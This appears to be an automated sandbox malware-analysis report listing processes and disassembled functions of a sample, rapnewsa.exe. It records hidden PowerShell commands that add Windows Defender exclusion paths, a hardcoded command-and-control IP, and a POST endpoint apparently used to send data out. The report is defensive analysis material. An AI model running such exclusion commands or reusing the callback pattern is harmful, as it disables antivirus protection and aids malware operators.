Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:55:15
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:55:18
Start date:	27/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:55:18
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:55:20
Start date:	27/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:55:20
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:55:23
Start date:	27/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:55:23
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:55:25
Start date:	27/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:55:25
Start date:	27/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:55:34
Start date:	27/08/2024
Path:	C:\Reka\rapnewsa.exe
Wow64 process (32bit):	true
Commandline:	C:\Reka\rapnewsa.exe
Imagebase:	0xa40000
File size:	38'912 bytes
MD5 hash:	2D4E723C184D9403B078E53F2DE74A23
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 16%, ReversingLabs Detection: 24%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:55:39
Start date:	27/08/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6044 -s 56480
Imagebase:	0xa40000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 0034E240 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047361224.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2047342877.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047569380.0000000000549000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047765712.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047782588.00000000007C3000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047798588.00000000007C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047813917.00000000007C5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047847248.00000000007EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047866115.00000000007F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047880917.00000000007F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047894469.00000000007FA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047911693.00000000007FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047911693.0000000000817000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047911693.000000000081D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047911693.0000000000885000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047987389.000000000088C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047987389.000000000089B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047987389.0000000000922000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2048169395.0000000000AC2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2048184205.0000000000AC3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2048184205.0000000000ACF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_1feP5qTCl0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b65c2346c372a812bf9a5a497f7710ebe99c163a2b211cbfcde99684ffbfdf79
Instruction ID: 31541b908a5347a2938a2391308deb1582e00074ecdf302eecd22eb7fb594464
Opcode Fuzzy Hash: b65c2346c372a812bf9a5a497f7710ebe99c163a2b211cbfcde99684ffbfdf79
Instruction Fuzzy Hash: F8319A2791CFC482D3218B24F5413AAB364F7A9784F15A715EFC812A1ADF38E2E5CB40

Function 0034A5A0 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2047361224.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2047342877.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047569380.0000000000549000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047765712.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047782588.00000000007C3000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047798588.00000000007C4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047813917.00000000007C5000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047847248.00000000007EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047866115.00000000007F8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047880917.00000000007F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047894469.00000000007FA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047911693.00000000007FC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047911693.0000000000817000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047911693.000000000081D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047911693.0000000000885000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047987389.000000000088C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047987389.000000000089B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2047987389.0000000000922000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2048169395.0000000000AC2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2048184205.0000000000AC3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2048184205.0000000000ACF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_1feP5qTCl0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19322aacc7dd447383d6f2170a10e82d5a65409c32a3e247da5a00b3a98942e9
Instruction ID: 44abc729c1de11bb888a13ac41822fe8e2c4787134efc886ccc4b41f9fd48558
Opcode Fuzzy Hash: 19322aacc7dd447383d6f2170a10e82d5a65409c32a3e247da5a00b3a98942e9
Instruction Fuzzy Hash:

Analysis Process: rapnewsa.exePID: 6044, Parent PID: 6120COMMON

Execution Graph

Execution Coverage:	19.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.5%
Total number of Nodes:	379
Total number of Limit Nodes:	11

Executed Functions

Function 00A41470 Relevance: 15.1, APIs: 10, Instructions: 137
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A41EA0: RtlAllocateHeap.NTDLL(02D10000,00000008,00A43D82), ref: 00A41EB0

NtQuerySystemInformation.NTDLL(00000010,?,00001000,00000000), ref: 00A414A9
OpenProcess.KERNEL32(00000040,00000000,?), ref: 00A41523
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 00A4154B
DuplicateHandle.KERNELBASE(000000FF,?,00000000), ref: 00A41565
GetFileType.KERNELBASE(000000FF), ref: 00A4157F
CloseHandle.KERNEL32(000000FF), ref: 00A4159E
GetCurrentProcess.KERNEL32(000000FF,00000000,00000000,00000001), ref: 00A415AE
DuplicateHandle.KERNEL32(000000FF,?,00000000), ref: 00A415C8
CloseHandle.KERNEL32(000000FF), ref: 00A415DC
FindCloseChangeNotification.KERNELBASE(000000FF), ref: 00A415EF

Part of subcall function 00A41EE0: RtlFreeHeap.NTDLL(02D10000,00000000,00000000,02B30000), ref: 00A41EFE

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: Handle$CloseProcess$CurrentDuplicateHeap$AllocateChangeFileFindFreeInformationNotificationOpenQuerySystemType
String ID:
API String ID: 2769610337-0
Opcode ID: fd6aa161e0d80b5519a59bb3628f33ac5b17f014e103464d959a4a8d28221bbd
Instruction ID: 1b0cab2d510d9c76de5f39f97e33f48bb92bb0f1fc2b05076e2f54d890fae307
Opcode Fuzzy Hash: fd6aa161e0d80b5519a59bb3628f33ac5b17f014e103464d959a4a8d28221bbd
Instruction Fuzzy Hash: C65131B9D00209EFDB14CFD8D985FAEB7B5BBC8305F204258E612A7280D775DA81CB65

Function 00A48D40 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 126
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A41EA0: RtlAllocateHeap.NTDLL(02D10000,00000008,00A43D82), ref: 00A41EB0

FindFirstFileW.KERNELBASE(00000000,?), ref: 00A48D83
FindNextFileW.KERNELBASE(000000FF,?), ref: 00A48EB1
FindClose.KERNEL32(000000FF), ref: 00A48EC3

Strings

%s\*, xrefs: 00A48D67
%s\%s, xrefs: 00A48E28

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: Find$File$AllocateCloseFirstHeapNext
String ID: %s\%s$%s\*
API String ID: 2963102669-2848263008
Opcode ID: 32b42eaf44f60c808820763517806159251bae62e44583c66691798474867edf
Instruction ID: b3df9d9fbe8acad6508b45b086434343f1f43feb3077886ef467e680e11e79f0
Opcode Fuzzy Hash: 32b42eaf44f60c808820763517806159251bae62e44583c66691798474867edf
Instruction Fuzzy Hash: F641C1B9D00218EBCB14DFA4DD56AEF77B5AFC8300F1085A8F91597281EA39DB41DB60

Function 00A417E0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalHandle.KERNEL32(00000000), ref: 00A418C8

Strings

l, xrefs: 00A419A3

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: GlobalHandle
String ID: l
API String ID: 1075865800-2517025534
Opcode ID: e85a4c9461a0fb04610a2dc7d5e8d99657e82eb4971424b3b2bc0538daffab49
Instruction ID: 499cbae571a064fa8163161ba1c2fe0521f8cd441d8e10b5b438a8c4dc5ff3d7
Opcode Fuzzy Hash: e85a4c9461a0fb04610a2dc7d5e8d99657e82eb4971424b3b2bc0538daffab49
Instruction Fuzzy Hash: 3A919678E05209DFCF04CF98D590AADBBB2FF89308F248199D915A7345D730AA91DF94

Function 00A48CA0 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,00A43271,00A43147), ref: 00A48CAA

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 3c3ada10847c12af956f9bcc9d0b3babe23114e369b6df29cdd35786c62df84d
Instruction ID: ef6c3b850877cafdd96a9aa049b81144398ba9d4e9a36419995bf509644cdd3d
Opcode Fuzzy Hash: 3c3ada10847c12af956f9bcc9d0b3babe23114e369b6df29cdd35786c62df84d
Instruction Fuzzy Hash: 51D0C97890520C9BCB04DFD5D94989AB7FDAB88205F1085A5DD4957300EA32AA568BD1

Function 00A43D50 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ef4ba2a5f8b20fe9ebf94c7ad4fd4042bc574524729372173bfe9cd158506bc7
Instruction ID: 335bcec336d09bce9cf10e8872e98f95a174684297b753749333d47cadc65724
Opcode Fuzzy Hash: ef4ba2a5f8b20fe9ebf94c7ad4fd4042bc574524729372173bfe9cd158506bc7
Instruction Fuzzy Hash: E741F33DA04205EBDB14CFA8D952B69B7B69BC5300F2082A8E5014F7D9D736DF42CB60

Function 00A42810 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`, xrefs: 00A4281D
45.125.66.18, xrefs: 00A428A2
0u, xrefs: 00A42824
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.4, xrefs: 00A4283D
0u0u, xrefs: 00A42848, 00A4284E, 00A42864, 00A42879, 00A4288E, 00A428A7, 00A428B4, 00A428BA, 00A428C9, 00A428DC, 00A428E1, 00A428EF, 00A42902, 00A42908, 00A428CC, 00A428F2
0u0u, xrefs: 00A42873, 00A42876

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID:
String ID: 0u$0u0u$0u0u$45.125.66.18$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.4$`
API String ID: 0-2265949662
Opcode ID: 0c18c2d5237ec17a53f53b42016c780b469e825eafd8b2eb4dfe179192d33c82
Instruction ID: 6058e133df44a7fec3ea0facb2a608e3289d0468fc838ff403f9e23044bf677c
Opcode Fuzzy Hash: 0c18c2d5237ec17a53f53b42016c780b469e825eafd8b2eb4dfe179192d33c82
Instruction Fuzzy Hash: A4310579640208BFE710CF94CC46FA97B75BB88701F608154FA099F2D1C3B5AA86CB95

Function 00A41D30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 85
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNELBASE(00000000,00000000,082e2202-17f7-4654-a651-ac9a3778e1d7), ref: 00A41D43
GetLastError.KERNEL32 ref: 00A41D52
Sleep.KERNELBASE(00001388), ref: 00A41E1C
CloseHandle.KERNEL32(00000000), ref: 00A41E3A
ExitProcess.KERNEL32 ref: 00A41E42

Strings

082e2202-17f7-4654-a651-ac9a3778e1d7, xrefs: 00A41D3A

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: CloseCreateErrorExitHandleLastMutexProcessSleep
String ID: 082e2202-17f7-4654-a651-ac9a3778e1d7
API String ID: 168847217-1460249064
Opcode ID: a98019ffa38849468887a309582a94e6358f80fca8d8fc8db891681b2ecdf95f
Instruction ID: 18fb45ee3589ce845423bfb98409cb849d4bb99b8ba413ecc97b499f4466eb49
Opcode Fuzzy Hash: a98019ffa38849468887a309582a94e6358f80fca8d8fc8db891681b2ecdf95f
Instruction Fuzzy Hash: 4F31F4BDD00219EBDF64DBA4DD46BEE77B1ABD4300F100065E805B2181DB759E85DBA2

Function 00A42E60 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 165
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 00A430A4

Part of subcall function 00A41EA0: RtlAllocateHeap.NTDLL(02D10000,00000008,00A43D82), ref: 00A41EB0

Strings

POST, xrefs: 00A42F41
/api/receiver/recv, xrefs: 00A42F3C
Content-Type: application/octet-stream, xrefs: 00A4304F

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: AllocateHeapSleep
String ID: /api/receiver/recv$Content-Type: application/octet-stream$POST
API String ID: 4201116106-1595302217
Opcode ID: 84b811eaa6188ee5064e0e697ba8e5d6cb6f909eed4bf66449d4a8f3c7a6ab0d
Instruction ID: bc65c40130024a65ec61b3f1dd3c25b62f70c1359b436aa8a09c04a1cc817ba4
Opcode Fuzzy Hash: 84b811eaa6188ee5064e0e697ba8e5d6cb6f909eed4bf66449d4a8f3c7a6ab0d
Instruction Fuzzy Hash: 5C713AB8A00219EBCB14CF84D544BB9BBB1FF88714F608598F9465B381D775EE81DBA0

Function 00A43EF0 Relevance: 3.8, APIs: 3, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00000015,00003000,00000040,?,00A43D5B,?,00A41D86,?), ref: 00A43EFE
VirtualAlloc.KERNELBASE(00000000,00000015,00003000,00000040,?,00A43D5B,?,00A41D86,?), ref: 00A43F21

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: b81513b619e466ffb39c44f52ef87cde176ef5dfacb95810ecad9797b183b6b8
Instruction ID: 425d2330e1ef7058121c59b17608fe1880eae397844fd1f7c536348ffee350d3
Opcode Fuzzy Hash: b81513b619e466ffb39c44f52ef87cde176ef5dfacb95810ecad9797b183b6b8
Instruction Fuzzy Hash: E1F0303DAA9304EEFB209BE9AC5EB1135B453CAB17F101414B306AD1D0E3B6D6468A25

Function 00A42C09 Relevance: 3.1, APIs: 2, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A491D0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A491FE

ExitProcess.KERNEL32 ref: 00A42C96
ExitProcess.KERNEL32 ref: 00A42CBE

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: ExitProcess$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 2431947247-0
Opcode ID: c4559ae39af4f2e81a8d04b8c7fd3d94c09c3f6da31a2ddf381203522413d03b
Instruction ID: fbbe51cc375775a1013879d39254bb091fc03f15a751a7305614a2d44f54ecc1
Opcode Fuzzy Hash: c4559ae39af4f2e81a8d04b8c7fd3d94c09c3f6da31a2ddf381203522413d03b
Instruction Fuzzy Hash: 6B511978900208EFDB58CF84C998FAEB7B1BF88305F608298E5055B291C775EE81DF90

Function 00A48CC0 Relevance: 3.0, APIs: 2, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetPhysicallyInstalledSystemMemory.KERNELBASE(00A43265,00A43265,00A43147,?,?,?,?,?,?,?,?,?,00A43147), ref: 00A48CCA
__aulldiv.LIBCMT ref: 00A48CE3

Memory Dump Source

Source File: 00000013.00000002.2038233759.0000000000A41000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000013.00000002.2038211856.0000000000A40000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038250659.0000000000A4A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038265989.0000000000A4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000013.00000002.2038280732.0000000000A4C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_a40000_rapnewsa.jbxd

Similarity

API ID: InstalledMemoryPhysicallySystem__aulldiv
String ID:
API String ID: 3833932492-0
Opcode ID: 65d05738c648c6e555e4072c6ebc5691252314688422b34a0d9f2a20b6d13689
Instruction ID: e9bbe1eaec58e98df3d60df51e33dd610aac218bacf108331fb9179e93742775
Opcode Fuzzy Hash: 65d05738c648c6e555e4072c6ebc5691252314688422b34a0d9f2a20b6d13689
